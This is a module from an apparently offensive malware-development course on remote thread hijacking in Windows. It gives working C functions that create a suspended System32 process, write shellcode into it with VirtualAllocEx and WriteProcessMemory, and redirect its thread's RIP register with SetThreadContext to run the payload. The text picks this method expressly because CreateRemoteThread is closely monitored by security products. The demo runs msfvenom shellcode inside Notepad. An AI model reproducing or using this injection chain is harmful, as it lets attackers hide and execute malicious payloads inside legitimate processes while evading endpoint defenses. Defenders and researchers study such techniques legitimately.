36. Thread Hijacking - Remote Thread Creation

Thread Hijacking - Remote Thread Creation


The previous module demonstrated thread hijacking on a local process by creating a suspended sacrificial thread that runs a benign dummy function and utilized its handle to execute the payload. This module will demonstrate the same technique against a remote process rather than the local process.

Another noticeable difference in this module is that a sacrificial thread will not be created in the remote process. Although that can be done using the CreateRemoteThread WinAPI call, it is a commonly abused function and therefore highly monitored by security solutions.

A better approach is to create a sacrificial process in a suspended state using CreateProcess which will create all of its threads in a suspended state, allowing them to be hijacked.

Remote Thread Hijacking Steps

This section describes the required steps to perform thread hijacking on a thread residing in a remote process.

CreateProcess WinAPI

CreateProcess is a powerful and important WinAPI that has various uses. To ensure users have a solid understanding, the function's important parameters are explained below.

BOOL CreateProcessA(
  [in, optional]      LPCSTR                lpApplicationName,
  [in, out, optional] LPSTR                 lpCommandLine,
  [in, optional]      LPSECURITY_ATTRIBUTES lpProcessAttributes,
  [in, optional]      LPSECURITY_ATTRIBUTES lpThreadAttributes,
  [in]                BOOL                  bInheritHandles,
  [in]                DWORD                 dwCreationFlags,
  [in, optional]      LPVOID                lpEnvironment,
  [in, optional]      LPCSTR                lpCurrentDirectory,
  [in]                LPSTARTUPINFOA        lpStartupInfo,
  [out]               LPPROCESS_INFORMATION lpProcessInformation
typedef struct _PROCESS_INFORMATION {
  HANDLE hProcess;        // A handle to the newly created process.
  HANDLE hThread;         // A handle to the main thread of the newly created process.
  DWORD  dwProcessId;     // Process ID
  DWORD  dwThreadId;      // Main Thread's ID

Using Environment Variables

The last remaining piece for creating a process is determining the process's full path. The sacrificial process will be created from a binary that resides in the System32 directory. It's possible to assume the path will be C:\Windows\System32 and hard code that value, but it's always safer to programmatically verify the path. To do so, the GetEnvironmentVariableA WinAPI will be used. GetEnvironmentVariableA retrieves the value of a specified environment variable which in this case will be "WINDIR".

WINDIR is an environment variable that points to the installation directory of the Windows operating system. On most systems, this directory is "C:\Windows". It's possible to access the value of the WINDIR environment variable by typing "echo %WINDIR%" in the command prompt or simply typing %WINDIR% in the file explorer search bar.

DWORD GetEnvironmentVariableA(
  [in, optional]  LPCSTR lpName,
  [out, optional] LPSTR  lpBuffer,
  [in]            DWORD  nSize

Creating a Sacrificial Process Function

CreateSuspendedProcess will be used to create the sacrificial process in a suspended state. It requires 4 arguments:

BOOL CreateSuspendedProcess (IN LPCSTR lpProcessName, OUT DWORD* dwProcessId, OUT HANDLE* hProcess, OUT HANDLE* hThread) {

	CHAR				    lpPath          [MAX_PATH * 2];
	CHAR				    WnDr            [MAX_PATH];

	STARTUPINFO			    Si              = { 0 };
	PROCESS_INFORMATION		Pi              = { 0 };

	// Cleaning the structs by setting the member values to 0
	RtlSecureZeroMemory(&Si, sizeof(STARTUPINFO));
	RtlSecureZeroMemory(&Pi, sizeof(PROCESS_INFORMATION));

	// Setting the size of the structure
	Si.cb = sizeof(STARTUPINFO);

	// Getting the value of the %WINDIR% environment variable
	if (!GetEnvironmentVariableA("WINDIR", WnDr, MAX_PATH)) {
		printf("[!] GetEnvironmentVariableA Failed With Error : %d \n", GetLastError());
		return FALSE;

	// Creating the full target process path
	sprintf(lpPath, "%s\\System32\\%s", WnDr, lpProcessName);
	printf("\n\t[i] Running : \"%s\" ... ", lpPath);

	if (!CreateProcessA(
		NULL,					// No module name (use command line)
		lpPath,					// Command line
		NULL,					// Process handle not inheritable
		NULL,					// Thread handle not inheritable
		FALSE,					// Set handle inheritance to FALSE
		CREATE_SUSPENDED,		// Creation flag
		NULL,					// Use parent's environment block
		NULL,					// Use parent's starting directory
		&Si,					// Pointer to STARTUPINFO structure
		&Pi)) {					// Pointer to PROCESS_INFORMATION structure

		printf("[!] CreateProcessA Failed with Error : %d \n", GetLastError());
		return FALSE;

	printf("[+] DONE \n");

	// Populating the OUT parameters with CreateProcessA's output
	*dwProcessId    = Pi.dwProcessId;
	*hProcess       = Pi.hProcess;
	*hThread        = Pi.hThread;

	// Doing a check to verify we got everything we need
	if (*dwProcessId != NULL && *hProcess != NULL && *hThread != NULL)
		return TRUE;

	return FALSE;

Injecting Remote Process Function

The next step after creating the target process is to inject the payload using the InjectShellcodeToRemoteProcess function from the Process Injection - Shellcode beginner module. The payload is only written to the remote process without being executed. The base address is then stored for later use via thread hijacking.

BOOL InjectShellcodeToRemoteProcess (IN HANDLE hProcess, IN PBYTE pShellcode, IN SIZE_T sSizeOfShellcode, OUT PVOID* ppAddress) {

	SIZE_T  sNumberOfBytesWritten    = NULL;
	DWORD   dwOldProtection          = NULL;

	*ppAddress = VirtualAllocEx(hProcess, NULL, sSizeOfShellcode, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
	if (*ppAddress == NULL) {
		printf("\n\t[!] VirtualAllocEx Failed With Error : %d \n", GetLastError());
		return FALSE;
	printf("[i] Allocated Memory At : 0x%p \n", *ppAddress);

	if (!WriteProcessMemory(hProcess, *ppAddress, pShellcode, sSizeOfShellcode, &sNumberOfBytesWritten) || sNumberOfBytesWritten != sSizeOfShellcode) {
		printf("\n\t[!] WriteProcessMemory Failed With Error : %d \n", GetLastError());
		return FALSE;

	if (!VirtualProtectEx(hProcess, *ppAddress, sSizeOfShellcode, PAGE_EXECUTE_READWRITE, &dwOldProtection)) {
		printf("\n\t[!] VirtualProtectEx Failed With Error : %d \n", GetLastError());
		return FALSE;

	return TRUE;

Remote Thread Hijacking Function

After creating the suspended process and writing the payload to the remote process, the final step is to use the thread handle which was returned by CreateSuspendedProcess to perform thread hijacking. This part is the same as the one demonstrated in the local thread hijacking module.

To recap, GetThreadContext is used to retrieve the thread's context, update the RIP register to point to the written payload, call SetThreadContext to update the thread's context and finally use ResumeThread to execute the payload. All of this is demonstrated in the custom function below, HijackThread, which takes two arguments:

BOOL HijackThread (IN HANDLE hThread, IN PVOID pAddress) {

	CONTEXT	ThreadCtx = {
		.ContextFlags = CONTEXT_CONTROL

	// getting the original thread context
	if (!GetThreadContext(hThread, &ThreadCtx)) {
		printf("\n\t[!] GetThreadContext Failed With Error : %d \n", GetLastError());
		return FALSE;

 	// updating the next instruction pointer to be equal to our shellcode's address
	ThreadCtx.Rip = pAddress;

	// setting the new updated thread context
	if (!SetThreadContext(hThread, &ThreadCtx)) {
		printf("\n\t[!] SetThreadContext Failed With Error : %d \n", GetLastError());
		return FALSE;

	// resuming suspended thread, thus running our payload

	WaitForSingleObject(hThread, INFINITE);

	return TRUE;


A quick recap of what was demonstrated in this module:

  1. A new process was created in a suspended state using CreateProcessA, which created all of its threads in a suspended state as well.
  1. The payload was injected into the newly created process using VirtualAllocEx and WriteProcessMemory but was not executed.
  1. Used the thread handle returned from CreateProcessA to execute the payload via thread hijacking.


This demo uses Notepad.exe as the sacrificial process, hijacks its thread and executes the Msfvenom calc shellcode.